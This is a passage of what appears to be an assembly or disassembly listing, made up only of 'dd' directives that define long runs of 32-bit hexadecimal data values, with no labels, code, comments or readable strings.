		dd 9A32AC6Ah, 980E201Fh, 0ECD4A095h, 4082482Bh,	0D8E5800h
		dd 3E73023Fh, 1BB0E405h, 16C03BC6h, 1D226B8h, 8D12BD16h
		dd 0FC315285h, 700D424h, 404F826Ch, 7A3D9D1h, 0A97A42B6h
		dd 0FECE1078h, 0C95069C0h, 961C32ECh, 9E899A0Ah, 0BA98803Bh
		dd 3CBAFh, 0A77D94A2h, 0A39B386h, 0B61BF907h, 0AF54B56Fh
		dd 3E0468C0h, 836D009Eh, 47AB791Dh, 3370E485h, 4D5FFF1Eh
		dd 0D8009D16h, 9631B846h, 659A00F2h, 177FDC22h,	97397445h
		dd 76D800BDh, 6AF4EB21h, 0A6AC0E07h, 0CF8011E1h, 905D7064h
		dd 0BC1A4F00h, 0B0C0A148h, 94BB005Ah, 286DC52Ch, 0F9000803h
		dd 0B44FCBEEh, 14899DFEh, 88888AE1h, 8EC6D100h,	3503A1C8h
		dd 4800E973h, 0A445648Ch, 0F7B55Eh, 1A49AE41h, 926D6684h
		dd 26B90D00h, 52279BF2h, 0F9610459h, 0ACFA748Dh, 6DC700B4h
		dd 0DA905A8Ah, 0AC030747h, 62178112h, 38E00A7Fh, 4E7CCF5Eh
		dd 521F2B00h, 0EB7768A1h, 117C0089h, 6E673C39h,	99029AE5h
		dd 0A957ACA7h, 0EE3840F6h, 5C584893h, 0F330E383h, 8176183Fh
		dd 0CAD907D7h, 0A2E8CD95h, 0E2580187h, 0D45360FFh, 0E51F8BCh
		dd 0D8EA3D03h, 0E8ECF369h, 501B598Eh, 0B8C2F4E5h, 0D68C0005h
		dd 1291F735h, 66B8A04Fh, 68C99500h, 0EABD2F72h,	0A7FE0098h
		dd 0A5A38803h, 430090E4h, 0D0323E13h, 3D780C30h, 1A8098B3h
		dd 38666B80h, 0B2009CACh, 7327F59Ah, 48C7EAh, 76AD1A36h
		dd 78A2052Bh, 34314603h, 0D0B7B185h, 0E41D70C5h, 0F8AB5E7Eh
		dd 0F19F0EDDh, 0E23040EFh, 35BCFAh, 0F0AFAC04h,	0ABF3C597h
		dd 0D6006FECh, 4886C961h, 72E5F82Fh, 0C331004Ch, 0AA4D7539h
		dd 8100222Ah, 1C2FB555h, 7B6A5Eh, 86B71D50h, 0FABA88B1h
		dd 453D8D00h, 0F7BBA892h, 8BF3001Fh, 43017B99h,	1009A141h
		dd 14FE3Dh, 2D2E3193h, 0D66900E3h, 6FCC4338h, 0AD05A6A1h
		dd 925B9DBCh, 0A7C62581h, 0BF15CB40h, 1BAC02CCh, 7ECF5F91h
		dd 0B0BC4460h, 1C001F71h, 0A93B4B39h, 0AA1DE5h,	3CCDF607h
		dd 1036CBD4h, 0EA118001h, 0C50EDF19h, 0EC85E4h,	0DDE12EBh
		dd 0C98A35BEh, 1F75E504h, 0D4805340h, 5E032FFh,	0DE296070h
		dd 0D4288147h, 0D9E1D839h, 0A927AA09h, 724280E8h, 0F4BD336Bh
		dd 0CB9F1F47h, 10FFC030h, 89349943h, 0E05ECD03h, 0A0E1A2D5h
		dd 4FEA3E8Fh, 87148009h, 4E078AD6h, 80E2C812h, 23D0E029h
		dd 0E16826BEh, 0CB1900A4h, 22748C6Dh, 0D2ECFB00h, 89EDBF94h
		dd 95AC0EB6h, 0AE808A83h, 0BCB4724Ch, 0FED3E100h, 9BBE6386h
		dd 384B844h, 79B173F6h,	93FF2F1Eh, 383C9488h, 19CF8024h
		dd 161D2517h, 74A8003Fh, 0E5467B31h, 0C0004330h, 935AFCADh
		dd 72B1C9h, 87EBBCF4h, 7716E9F7h, 46130D01h, 8945900Bh
		dd 12538EC4h, 718CFAh, 288207C6h, 0F2E4E5D7h, 20683E2Ch
		dd 0BB917880h, 0B5520B7h, 4A898EAFh, 0F21BAC80h, 80009DA1h
		dd 84CC22B0h, 0BDF615h,	42C9EAEBh, 687C089h, 0C5004BB8h
		dd 8A2D7E31h, 50742B7Ah, 0FA8BDC54h, 0A24900DBh, 299C8DB4h
		dd 0F900013Dh, 1BB6D0BFh, 38E49F65h, 0F8000CCAh, 248BDFACh
		dd 6977208Ch, 0E3EA93Fh, 0A09C7994h, 0FC261345h, 0B3A124DFh
		dd 2EDE01ACh, 0E48FBD9Bh, 0AF032CA5h, 0F8267E1Fh, 5EF08FADh
		dd 2A29261h, 6D084F47h,	0ECE80E9Ch, 0EFF0F1C0h,	0E6DCB400h
		dd 642071D1h, 855901CFh, 6EBB3D9Bh, 15A8ECFDh, 0AD751600h
		dd 658BC93Fh, 0A2620126h, 61C21CABh, 1EDB20E5h,	0CC5259h
		dd 0F75BEE1Fh, 193627h,	3AEF847Ah, 1833DF30h, 76BABB00h
		dd 23C421D7h, 592B003Ch, 0C1C37F60h, 11731A94h,	0BD765F00h
		dd 84B09172h, 98F9F490h, 0BB863B8Ch, 94DF98CCh,	6A008402h
		dd 6B8F851Bh, 0B01C7862h, 0D280AD1Ch, 372BD164h, 881F0082h
		dd 0BB42AA32h, 4006735h, 2CB90F87h, 1C558C38h, 8EEA0205h
		dd 8C03A9Bh, 0CA881DFCh, 4A977B00h, 0DD4BF713h,	0FF5B0104h
		dd 2569BAE2h, 86E8CCEDh, 5C091F3Ch, 4B790048h, 0B63B905Eh
		dd 6F6C0030h, 3A197B3Eh, 490305A9h, 8F60946Ah, 4C17A8BFh
		dd 7E9700B6h, 50BBCF75h, 380FA567h, 0AEC89278h,	85F46036h
		dd 794C712Dh, 27FA00CDh, 6EC95C7Ah, 6A007987h, 0EF7C5DC6h
		dd 0D1BDE9h, 3DF75E4h, 0A6968C2Dh, 0E6AE8F05h, 98C81B42h
		dd 0EA841102h, 40585DC8h, 0F7F7B8Bh, 39402259h,	0F79C00B6h
		dd 0ABAF51Dh, 0DE1403A4h, 0ED200996h, 0D09BA780h, 0A1830500h
		dd 2B4EF301h, 0A225005Bh, 96A6D462h, 0D87FDF52h, 65B0B903h
		dd 40F73E56h, 1DA9D0AEh, 3326C74h, 0D6F1FE3Fh, 30423CA1h
		dd 590BD768h, 1F4BA8Bh,	0FF5CD2A4h, 7A2530h, 51B2B54Ah
		dd 0A7EDCFB9h, 7417FA03h, 0B9D873D5h, 0FCE04FE4h, 3FF204F4h
		dd 0C3951AEBh, 62C01140h, 0D000F774h, 22B8BA3Dh, 60D869h
		dd 0CB0FEA05h, 6DE7F57Fh, 0C7A85C00h, 0EAC5373h, 3E510F8Ch
		dd 65E0FCA1h, 5D6E2CB6h, 1EBFB000h, 0E58A995h, 0E978003Eh
		dd 4F5F1315h, 715AEDFCh, 974D6C80h, 0A2C40041h,	93A89159h
		dd 0ED003F73h, 0F5860C9Ah, 1FD721DFh, 0FA4640E6h, 5242B80h
		dd 9E4B57C9h, 2CC6D600h, 537495E3h, 0F5A4098Fh,	4002EE1h
		dd 90E6BE81h, 5CFB7A00h, 6160366Bh, 0A3980026h,	23D7F137h
		dd 3B14661Dh, 0ADE5671h, 0BAE4ECCCh, 8B05FB00h,	0A6B7EDFh
		dd 0A42D5231h, 87E0019Ch, 615B9A1Ah, 0D0494404h, 69D25004h
		dd 1FC38B3Ch, 7B036EF7h, 0B055BC21h, 32186B36h,	0C2F01D4Ah
		dd 71A295C0h, 0EDB8680Fh, 93248081h, 10855Eh, 820E7D7Bh
		dd 0F2475891h, 0B36AF600h, 90B2A5ADh, 740300E7h, 0AFA2B0A8h
		dd 3A00389Fh, 6DA623C7h, 131878A9h, 0D0BE1EAEh,	0A2E0A4B4h
		dd 0C80ADE03h, 0C8E4728Eh, 6682E73h, 67640CFCh,	0B310C897h
		dd 107AC3B5h, 9B35CEh, 4BF808A2h, 5BFA3438h, 51100401h
		dd 925490BAh, 78C0363Fh, 0FD3EC1AAh, 7D94986Bh,	9B73E67h
		dd 1DDE1300h, 596D371Eh, 9471102Ch, 5C40FF17h, 0D6A54786h
		dd 75FD3F23h, 0F04D1C80h, 0EA0FEB69h, 70676137h, 53ECE6E0h
		dd 4C8A0437h, 80FA0318h
		dd 15FCC7ACh, 2012251Dh, 534B368Eh, 80F984D2h, 0C34948F8h
		dd 129B027Ch, 5F6364A6h, 2133B4E9h, 730FC810h, 287E7F00h
		dd 32456742h, 3A77F8ABh, 70A71923h, 0E976800h, 0C204C6B8h
		dd 0FD0A2D7Dh, 8B1838C0h, 54EC0F5Ah, 9240A929h,	0C103D00Ch
		dd 497FB100h, 7106261Ah, 4FF90064h, 0F5C83330h,	5600A8B3h
		dd 0AA1BB0D0h, 0E62B15h, 66847F97h, 0C7E29E47h,	0FDE7C0Fh
		dd 5646617Eh, 8096E48Ch, 3BA020C2h, 0EB25B6D6h,	82A4E113h
		dd 0BA0B5039h, 0A40456BEh, 679A80D2h, 1E008414h, 24BC8D83h
		dd 1D897A5h, 0A03B6A9Bh, 0C4B7D12Bh, 0FA24E631h, 5100AA12h
		dd 9480B6C2h, 0C17500DEh, 5D0A3FEDh, 8A0E0540h,	0C9F80DA8h
		dd 560508Ch, 0CBBFCD9Ch, 9A98003Ch, 0CABC86ADh,	0AC562700h
		dd 0D66CB499h, 0A475B0h, 0AAFFBB4Ah, 4C699764h,	1A01A690h
		dd 6A9661AEh, 0FFF04129h, 0C050649Fh, 3FF2821Fh, 42B26C84h
		dd 60BEF9C6h, 7FFBF8EFh, 103300B0h, 0CE3AAF63h,	4300AD57h
		dd 0B6750144h, 19D3A2BBh, 0F8A991F2h, 3C82C010h, 3BCC2000h
		dd 0D9154A65h, 0CD3D0008h, 0DA4C2E88h, 9BF6E801h, 94917900h
		dd 5B7DA495h, 2CB80Ah, 0EAABCF5Ah, 0B730E305h, 98AA5004h
		dd 0E480756Eh, 606FEBh,	817C291Ch, 0AD2EC8E4h, 42081600h
		dd 0A4526485h, 0B57E3C62h, 1BBF100h, 0D85D277Fh, 0C4000C79h
		dd 0E3EFD085h, 3E48C32Fh, 405AA8D9h, 0E19C9268h, 0B11C9E8Bh
		dd 60A5724Bh, 120D5C94h, 20E07D84h, 8C7CC678h, 6C008898h
		dd 0EDAC745Bh, 0B0F1648Ah, 6EDB0003h, 0C50D624h, 0BE00200Bh
		dd 25D9216Dh, 0F0E405E9h, 0B43D515Fh, 9AC0C5D0h, 0A9BA3964h
		dd 16191A03h, 0EAC0B181h, 490091ECh, 0E2980885h, 0F636C0ABh
		dd 0C9371E77h, 0E69600E5h, 3934DBB2h, 0FACE18C0h, 1F06970Bh
		dd 53F7FF83h, 60220ECDh, 6EC10401h, 13BC3C92h, 3020BB72h
		dd 0BEBA1h, 479C6281h, 0C44AA630h, 88A548h, 8FAA4893h
		dd 0F73D83Ch, 6AE7A168h, 7A86809Ch, 885D71A7h, 96487507h
		dd 40FFE9CCh, 0ADBD08AAh, 0D7BA3D50h, 850F770Eh, 60F6C9E7h
		dd 0C507C105h, 680158BCh, 0C439B902h, 0D8BB28BDh, 80046BAEh
		dd 78177E54h, 4DFC146Dh, 5C6858h, 76113D71h, 0D7073Fh
		dd 0EDBEDFE5h, 68376773h, 7D5ED302h, 40F11252h,	5A9A4F69h
		dd 9B200440h, 4E4D8163h, 8010BEC0h, 62269ABh, 0C8055F6h
		dd 0F2524627h, 29393D30h, 0FAC21CD9h, 2D148180h, 919B3EFh
		dd 11F3CD5h, 0C043A904h, 7BABF9ECh, 92EF7F17h, 0B5042421h
		dd 6D9030h, 0C3E10578h,	0D4768B21h, 2BDA0800h, 503356D3h
		dd 0B6F9034Bh, 29C869D7h, 7C887080h, 6D484700h,	98FB2809h
		dd 0D6E53AB4h, 0C9F9D389h, 0FE7900E7h, 0B7002D0Ch, 0B41E2663h
		dd 2A9DBCh, 4672FEDAh, 0BD136AE3h, 2B6B1A00h, 0AE3B6F74h
		dd 4AE68Bh, 4FBBC1Ch, 9DE99FA3h, 0E8CF48h, 9EC7FC14h, 3D5E886Ch
		dd 0B32674AEh, 942D02E0h, 0F8C9E3CDh, 0EB033E2h, 404C85E8h
		dd 0B0F31827h, 4EBE0B95h, 44C01346h, 6C3FF40Ch,	40390F6Ah
		dd 2CAB4037h, 484DF6h, 6831D6A0h, 35D32295h, 0FCC4D524h
		dd 0CBAFF100h, 28B3604Eh, 1A42C0Eh, 0D4D7D63h, 381FD2F4h
		dd 79300060h, 0CC2448Dh, 0CEF23D26h, 5016FE0Fh,	6EB0B8E0h
		dd 5A09B903h, 0DAABFFh,	0BE5F6F24h, 0FCB6039Ch,	0BFC5D0EEh
		dd 0A0E41800h, 6627C267h, 0BD9A008Bh, 0CF6CD705h, 7A3F82A4h
		dd 64B00E73h, 5BDCA496h, 676D60C0h, 3AED00BFh, 570EBDFFh
		dd 98B0AF71h, 82F3D207h, 120EC75h, 23D965h, 5A540AFBh
		dd 3D297C6Fh, 9AEF38h, 21CA40F9h, 62FC84h, 0C8C1E76Ch
		dd 0A811A415h, 0A526E00h, 5AD84BCDh, 0B9D2E0Fh,	37EA40F4h
		dd 0DD71A1F8h, 0F5812500h, 0EE38C798h, 22CC0B69h, 50A00583h
		dd 2BC4EF75h, 1DD23400h, 0A601FB50h, 837E0098h,	5A9D7D6Dh
		dd 300CEBCh, 0F6E0909Fh, 0F054F2C6h, 0DB6003F0h, 0FDCAE3F5h
		dd 6C770A88h, 0B8A1D17h, 0E6D91800h, 4C67900Eh,	5B0BB8FAh
		dd 2005F70h, 803EDEEDh,	2882B501h, 0D721EED1h, 840C6C7Ch
		dd 0DE5083B7h, 12FFCE00h, 0C9E4E8B5h, 0BF623DECh, 0A270BB0Ah
		dd 3F208024h, 0D0FE5B7Ah, 0A7093900h, 304388Fh,	0CC0C0780h
		dd 339F53F6h, 4DA0E1E9h, 280073DFh, 0CE9AB678h,	5F5337Fh
		dd 0C1C9B3D6h, 0E1D0C09Ch, 216017D8h, 5894958h,	0D4101DD6h
		dd 4C0280Ah, 92D89520h,	7C14A993h, 0D9E19F01h, 5C58CA54h
		dd 54A56130h, 5CA9108Fh, 1C2C644Eh, 0D4C00084h,	6A56A4C2h
		dd 0D1095170h, 24D79792h, 0ECE95978h, 6077F107h, 0D6E78F6Fh
		dd 0FB2E209Dh, 0E925B754h, 1CE880BDh, 28E8268Dh, 3E087112h
		dd 0B300DEF0h, 681BC587h, 6B01F3DDh, 0BD41F832h, 403A9272h
		dd 4B49C77Ch, 6707610Ah, 0BE1E7EFEh, 0F25B029Eh, 9CA074BDh
		dd 300FE548h, 0E88EE704h, 0CAF3AF0h, 185642DBh,	41C183F9h
		dd 0FBC5D855h, 0AC30AE78h, 73723925h, 0C92B1942h, 80B51202h
		dd 0ABFA6368h, 3234065h, 0DE57F4B2h, 87C03A62h,	54A04A08h
		dd 24A22747h, 0BFC2E45Eh, 99EDE0FDh, 6AD600B9h,	7CF240A0h
		dd 377984D8h, 4FEE8C03h, 182972FFh, 0A070016Ch,	67E6C473h
		dd 0C32C5C00h, 0C2A1E9BAh, 0E8BF0026h, 0C938281Ah, 0A79839FAh
		dd 623B89E6h, 0E0298064h, 84BC65C4h, 2F763BA8h,	8668F90Bh
		dd 1EB91800h, 0B40E1BF1h, 7D778Ah, 0B39A1CADh, 0F97CC5h
		dd 8482C07Ch, 9EC2C71Dh, 23B08954h, 0F0268B39h,	83C8880Eh
		dd 0ED085948h, 93038050h, 0B4280125h, 0F4EEFB1Fh, 0F004DC02h
		dd 57502262h, 2308E3F9h, 0D07B058h, 0F8042126h,	0C920B762h
		dd 1C702695h, 745D443Eh, 374B9A8h, 64F89A24h, 0D2110074h
		dd 4904A70h, 0BF19273Fh, 8B0846F1h, 0B12CAC28h,	8184001Eh
		dd 7435C889h, 0ADC12300h, 0D3F937F0h, 806D06A0h, 689CE553h
		dd 3C81CB00h, 89776760h, 387413E0h, 2214E49Bh, 2FBDCD00h
		dd 0C762AE41h, 8A66647h, 6BE421D0h, 0ECEFBD07h,	0B9E0585Eh
		dd 989415DDh, 950C174h,	8A240FF6h, 888C9F78h, 0FA9887BCh
		dd 0E607EA4h, 3054C69Ah, 0FB905845h, 7807E1DAh,	531367Ch
		dd 7D70A2C7h, 47CDD4h, 0A33F259Ch, 0E84AB212h, 5B98B51Dh
		dd 0F381040h, 9160E7h, 8E352792h, 0FDD60678h, 84559F00h
		dd 88DF5CEEh, 0F32A00CBh, 0A893649Ah, 12077C6Ch, 5EB5B49Dh
		dd 0FD61DC10h, 91770BC8h, 0C58062C4h, 4DE4590Bh, 6B9B7100h
		dd 70EB5F97h, 0BAF93038h, 52BC5C70h, 0D4E9D9ECh, 95003141h
		dd 0A3C240DCh, 186E717Ah, 3C82BD4Ch, 0B3079E55h, 3688DC4Ah
		dd 0D4DA16D0h, 1066004Bh, 0C5561732h, 4D008497h, 3ABAE291h
		dd 0B51E82h, 9B7C4CE0h,	69FAB16Ch, 1F512400h, 0C1D23B1Ah
		dd 0D5F80055h, 225AD70Fh, 0DA009B43h, 68CF94Dh,	1716197h
		dd 0AA6EF07Bh, 81D7245Eh, 375A62B9h, 9C501A3Bh,	73A7C3h
		dd 93F69231h, 0CD4E21B8h, 0D5E2C707h, 8420F53Ah, 4B8945h
		dd 9A9B6DAAh, 417AA88Ah, 2B77EF03h, 0A80B0F55h,	0EE6C4E30h
		dd 281F0006h, 0CEF9A702h, 0B3343FD0h, 47F11CAh,	517D5718h
		dd 35003D42h, 0E2FCEBDEh, 1EBA4877h, 0E6E122h, 4B36CDF8h
		dd 0A23FC9DCh, 0C34700D9h, 8C3A4180h, 54F90016h, 35FFB88Eh
		dd 2200158Bh, 1D1EBBDEh, 72BF2Bh, 2ECCCA1h, 0A7FCDC0h
		dd 14DCDA00h, 7A22630Dh, 0AB9700AAh, 30AFC29Fh,	0D000AED5h
		dd 0FCCEF356h, 782E0A4Eh, 8EA400C6h, 1C2F5B86h,	0C71CCC3h
		dd 680049E0h
		dd 0FBFC3489h, 4D08FDh,	0D87B10BCh, 909CA96Dh, 0DE7660E1h
		dd 0B32C1400h, 4D693397h, 135C05F3h, 80D0BE0Bh,	21D53622h
		dd 9924FE0Eh, 4D1500CAh, 0FEE79F7Eh, 33D09026h,	0C0580D20h
		dd 0F969FA00h, 0AC53DB43h, 9C0F3E2Fh, 3081093Dh, 0F3664F2Ah
		dd 8659C8ABh, 3C016506h, 99F453h, 0C91E31B0h, 0C38B9EDFh
		dd 0E4F56100h, 0CF97F39Ch, 0F2A60530h, 0C00B9055h, 2EF40FD9h
		dd 0D7A00C60h, 51B306Ah, 0E5698664h, 70C403h, 438EB2E4h
		dd 28C0BBB9h, 9D472E09h, 0E4B600D2h, 0C2D35F49h, 6800BDCEh
		dd 1588FC8Eh, 987451D5h, 0F9C0055h, 0F1382A3Eh,	98C0C669h
		dd 0D4A4F244h, 0ED1404C1h, 90036408h, 5F6D7E18h, 0E5D1C303h
		dd 907FDE74h, 3F01CB9Eh, 978036FDh, 0F0A61F43h,	0DF07242Eh
		dd 0D7A36A54h, 0E7D1FE13h, 0AF9BF9D0h, 0CA8918D9h, 565B06Eh
		dd 9200C679h, 0A0EE19CFh, 7A47D3h, 0E84CB6FFh, 72A1AA4h
		dd 0E9DABDA0h, 0E1377B13h, 0A19D4A00h, 3C753331h, 0FE0013A6h
		dd 0EF7C0BB9h, 49002005h, 0B1808C16h, 0E631B08h, 0A497691Fh
		dd 0E83E5820h, 0CAFE6087h, 6E64300h, 0ED68BE8Ch, 597B00EEh
		dd 0F0724A20h, 0B7381BA9h, 2AB28650h, 0C8CDC8h,	0D3E326EBh
		dd 1063A42Eh, 0D682A65Bh, 6AC4812h, 51600C8h, 68D53152h
		dd 1D306DB2h, 0EF1114Eh, 88802D4h, 0F5068E5Ch, 0DB001ED6h
		dd 73C3AB96h, 707E00AAh, 3FA272A5h, 6100F85Bh, 0DE660A15h
		dd 8C3702h, 25DC2D54h, 0FB294AEh, 3CF0095Fh, 0D8C714C1h
		dd 6000D867h, 0E8C5FCC3h, 0F2902CD6h, 4A36B301h, 40A654FFh
		dd 0A4D9DCh, 21751982h,	0E0F4B8A1h, 36D16C0Fh, 6312609Fh
		dd 0B0FA59E1h, 18660189h, 0BA3E072Dh, 4047C971h, 8565DFFh
		dd 5109B1E0h, 80B2C2h, 855FF608h, 1983001Fh, 8CB075B5h
		dd 70004F56h, 0E913A239h, 5F79F55h, 97E5D5BDh, 4E9C40CBh
		dd 9161CEA4h, 0C0199E00h, 10ECABA8h, 0E9B70415h, 0C09C0E69h
		dd 0E5D8391Ch, 7002B48h, 38D78395h, 5D239A60h, 5715183Eh
		dd 48FF8881h, 5342D5A2h, 68B23C80h, 0EEEA5CB1h,	1BE18200h
		dd 57737A12h, 0E4EC6Ah,	0D80255AEh, 0AAB8D19Bh,	18A50C00h
		dd 1A77D7A4h, 0D0B600A6h, 0E6BA473Bh, 0C700FF98h, 4C57C59Dh
		dd 9A7B6Dh, 3794D8DAh, 0B274FDDCh, 5F255E03h, 98441611h
		dd 0E0DF615h, 0BACDB94h, 23FDC6C0h, 0B40154ADh,	45A8DA49h
		dd 28BC1FABh, 260F5700h, 25BA2A2Bh, 0E432F501h,	0BB01B011h
		dd 752EA1E8h, 0F30800EDh, 0ECDAE9A5h, 0A4A811C5h, 2B00E250h
		dd 5B7121D3h, 3B2EED2Dh, 0B000EFAAh, 0DFE63F0Ch, 2A7F2393h
		dd 0A50F3Eh, 60E9814Bh,	48899116h, 5D00D69Ch, 0E14E8C4Ah
		dd 2D00F974h, 2E71E27Ah, 796E2276h, 0F65B0061h,	75F56772h
		dd 2800FA89h, 0DDDB7057h, 0E0A60EB6h, 0AD4B00FFh, 1BF3E449h
		dd 0E27F652Fh, 0F8FEA50Eh, 6051E066h, 0FB3753h,	0F163FFB7h
		dd 0DE2F42C1h, 138A24Ch, 600AEFDBh, 60EE5FC2h, 8B5518h
		dd 0F41EC530h, 0BE1F5C4Fh, 36266024h, 80580509h, 5932E8E8h
		dd 0DAE4B0h, 0E79BAC20h, 633D180Dh, 6D9FD502h, 68147EB5h
		dd 0AA5D40h, 0C8B1956Ch, 6D26EA34h, 65B80B04h, 59C0AD3Ch
		dd 1D638Eh, 0F8442030h,	0AA667C31h, 98D18302h, 80DDE95Fh
		dd 0A6FEDCA8h, 0F17E070Eh, 79BCEh, 7FC81AAFh, 50D7090Eh
		dd 790DC015h, 804497h, 39B172E9h, 0B8229BEAh, 144E2400h
		dd 5936A615h, 719A00EDh, 0F1F4A4C6h, 69FE46D5h,	0ED205Ch
		dd 5D7392BEh, 137E1Eh, 573553EEh, 36F7AB51h, 0ACEAFC00h
		dd 9DC66FAFh, 81AA00D0h, 0C7971337h, 1100B7D7h,	0AE790E2Fh
		dd 730C66EEh, 0BD1A005Ch, 0F7CE46ADh, 0F126B211h, 3B366Eh
		dd 0AB048C09h, 9E9BD3h,	4CF9946Ah, 378ECF17h, 71927001h
		dd 0F24680C9h, 0F41061F0h, 0E5760040h, 66BE31EBh, 0C04B20DDh
		dd 0D93B51A8h, 67F60C03h, 0D098F49Bh, 95025539h, 0B121B330h
		dd 76A4A0E0h, 24426D6Eh, 1E22D578h, 0C2540007h,	0FE33818Eh
		dd 0F0364300h, 0F4F14D4Ch, 0A20204D8h, 87B73CC8h, 6097F75Fh
		dd 0A7352733h, 0B9658C2Eh, 745FCB01h, 0EE40637Eh, 6ED904h
		dd 0EE8A352Eh, 0FEF0B9BFh, 241A4C00h, 0CDC5D152h, 614300FCh
		dd 558E413h, 0AE00D7E1h, 0D6F0B642h, 607E998Eh,	0FABD9C07h
		dd 0AA00ACD8h, 8B78AD3h, 542B61h, 74AFA526h, 0E9700AB8h
		dd 9F3F100h, 4580A12Dh,	0B41E00C2h, 0F8EE2142h,	2F0F3757h
		dd 263CF47Ah, 0A0881D74h, 177FEC1Bh, 40B5AD45h,	0D60A64DCh
		dd 34007A10h, 962CCBBh,	0EEC6E592h, 5C5105C4h, 88EA2A14h
		dd 0A0006994h, 0A936FE8Dh, 9AA5ECDCh, 8CD25CA4h, 49E7D102h
		dd 0C9423963h, 0EB4FF468h, 760608E8h, 0C625D70Eh, 21677C2h
		dd 50641FDFh, 2450A82Fh, 694C3A00h, 0E15D77Ah, 7AFE748Ah
		dd 7721C762h, 939FC0F7h, 6C004E5Ch, 0CF64E404h,	0B9D66Fh
		dd 0F751AB06h, 292401DBh, 0DE074Ch, 0A8A48DAFh,	0F6B9E3AEh
		dd 5B9300F2h, 0A2A9C70Dh, 0B51CDEBCh, 0D180B6E0h, 0F5F2CC39h
		dd 5C8B90A6h, 0E7888FEh, 0B6350DC6h, 0E35CED80h, 1A3DE951h
		dd 0C0C10045h, 0B70A180Ch, 53960291h, 0A822E3EAh, 0B0B76BC3h
		dd 27E6B01Ah, 0E1EC0F3h, 87F2C505h, 0C020F984h,	62E8264Ah
		dd 2F79E0A6h, 89EA8C81h, 878320DCh, 0CF007390h,	3BCEC434h
		dd 471A83h, 0F59B1E7Eh,	81184DE9h, 0D7021C00h, 6BDBABE7h
		dd 84E43D85h, 0EAEC7280h, 0B048F39Dh, 8A3E3F00h, 87FD3B99h
		dd 2C4009Ch, 6932D04Ch,	0E4009129h, 0B73DE3ADh,	4C48AA95h
		dd 1E009AE1h, 1BA02CE5h, 0FC7B49C1h, 20B9230Eh,	2B64E046h
		dd 3EAE1Dh, 9C990958h, 5227D84Ch, 0C8057471h, 3B671A38h
		dd 5D29E00h, 0DEFBA4h, 9D0B11E5h, 207099BBh, 1FBCB900h
		dd 458DDAEFh, 0EC0E3995h, 0E2184C04h, 0FC14A10Ah, 0A800B876h
		dd 46593925h, 2DA2BBh, 0FA3D8374h, 7F3FBA17h, 0E3A8BD50h
		dd 0AFBB5C00h, 765661F6h, 0ED503FA5h, 82209A30h, 9B052780h
		dd 0E62EE214h, 77A0BC00h, 0C2FD4Eh, 0E8372975h,	63150F54h
		dd 4AA54101h, 32E04B80h, 929E5160h, 0FD500054h,	0B29A1410h
		dd 9F135251h, 2201AF27h, 8255492Bh, 57E8FC4h, 0E7D538D9h
		dd 0EF7E82C4h, 3901F4A1h, 9B0024FAh, 28040B00h,	8346EACEh
		dd 6B4300B1h, 8E798BD0h, 3001F5Fh, 5B6DB6F6h, 1FA2C264h
		dd 0EEAA6E90h, 7A510E8Bh, 3721108Ch, 5AAF3A00h,	764CE77Ch
		dd 55008F4h, 1200AD67h,	659F7EFDh, 0EB3D00D2h, 31BEE6BDh
		dd 21007161h, 0DFDC2982h, 11C3898h, 0F8ED5258h,	88A27FB6h
		dd 425B018h, 0C1045B6Eh, 83ACC34Bh, 0E612BB58h,	9B0C8E5h
		dd 148E0E2Ah, 0B23761Ah, 312C7CDEh, 5800FE3Bh, 4F7315DFh
		dd 0F34D01D4h, 10E26DECh, 4C080CCh, 281864D7h, 0BF913AFCh
		dd 81A3799h, 20218FDBh,	0BD0F6029h, 25AE16Fh, 0B230C2F8h
		dd 6BE0CDF4h, 270324FCh, 0EE5C66E7h, 9EB8FB23h,	5B881CB8h
		dd 916F9835h, 0AF01980Dh, 54EC28AAh, 9131ED5Fh,	218296D1h
		dd 2AAF7F30h, 0AB1650E0h, 1DF27A05h, 0CC415E58h, 2AEA273h
		dd 966F1081h, 0FC687407h, 3600E9B1h, 850D982Dh,	0F4BEB49Eh
		dd 913A0064h, 0B030D91Ah, 1807739Dh, 0F0FDC123h, 807EF592h
		dd 43C8ADA9h, 80120087h, 0A40AA9B5h, 7F00DA6Ah,	0D270FB91h
		dd 0E58AFh, 73AE38D1h, 0AA1A2953h, 0E7477C00h, 82CC7A5Bh
		dd 24AC0549h, 0C0B99A92h, 44AD0450h, 7F032A76h,	575B9C43h
		dd 1C700061h, 4609750Bh
		dd 80CF2FB0h, 0A5C09D24h, 0DDFB9F04h, 0A269CE34h, 0AC382CE0h
		dd 85003E2Bh, 79FD5FEDh, 4E3CF3Bh, 2D37AFB7h, 0D1F280BBh
		dd 117B1EA7h, 9F008B70h, 0E395C89Bh, 30C5378h, 3B2D648Fh
		dd 22BB961Dh, 2EB3F900h, 0B81FE5BAh, 0A14F6077h, 72238F29h
		dd 115FCF00h, 0A0FA562Ch, 5A7300FBh, 0FCB92565h, 0D3EBD67h
		dd 0CB788219h, 957082D8h, 0B005504h, 1FD44E7Bh,	0F6370023h
		dd 0C2010D67h, 60077D9h, 10C6275Fh, 0F811DA8h, 2C65514Eh
		dd 0C980420Eh, 941ED401h, 1DAA5B01h, 0F4BE41D8h, 0EDA9C4h
		dd 0C6FDE909h, 0C735922Eh, 0BB36121Fh, 0F88EF1C0h, 7CE6F5EFh
		dd 381F004Eh, 3257C550h, 3C3BDC64h, 56510242h, 0B8D65A96h
		dd 48B18D5Ch, 3006407h,	0DF7E3ADEh, 0AB00FD55h,	5F290DCh
		dd 12481BF0h, 1EF8258Dh, 0F12206A8h, 6122287Fh,	0AD5702AAh
		dd 598D47FFh, 89F46F10h, 0E0E00865h, 4D50C81Ch,	1166DF43h
		dd 11AEC979h, 2111FF49h, 0EF413CFBh, 11287429h,	0F5113695h
		dd 589D11F7h, 1A8AB111h, 41292F98h, 2890E471h, 4FB58861h
		dd 0DD8C3408h, 444451F6h, 3CA01957h, 0B1886079h, 6D51C705h
		dd 55E0E010h, 0DB407D9Dh, 154A200Eh, 833CC550h,	40817A44h
		dd 6C1C7090h, 640A795h,	72C61CA3h, 68FE3C94h, 0D67D1Ch
		dd 0B105BBEBh, 90003F5Dh, 38341E50h, 0B8A3C141h, 4AF861h
		dd 0F791FB24h, 3CB21A04h, 0D2634B00h, 0F10C0986h, 24A501E5h
		dd 0C63F5102h, 5B2C08Ah, 0D46038h, 215E54B4h, 0F74E23h
		dd 53C116E5h, 3738A0Bh,	3C1F20EAh, 1400ACE1h, 7A187912h
		dd 85BA3D7Fh, 2419C2B3h, 0E61D20B7h, 75003B0Dh,	6038AE7Dh
		dd 35BA89h, 65E12319h, 6A616881h, 55293900h, 0F1DD7B9h
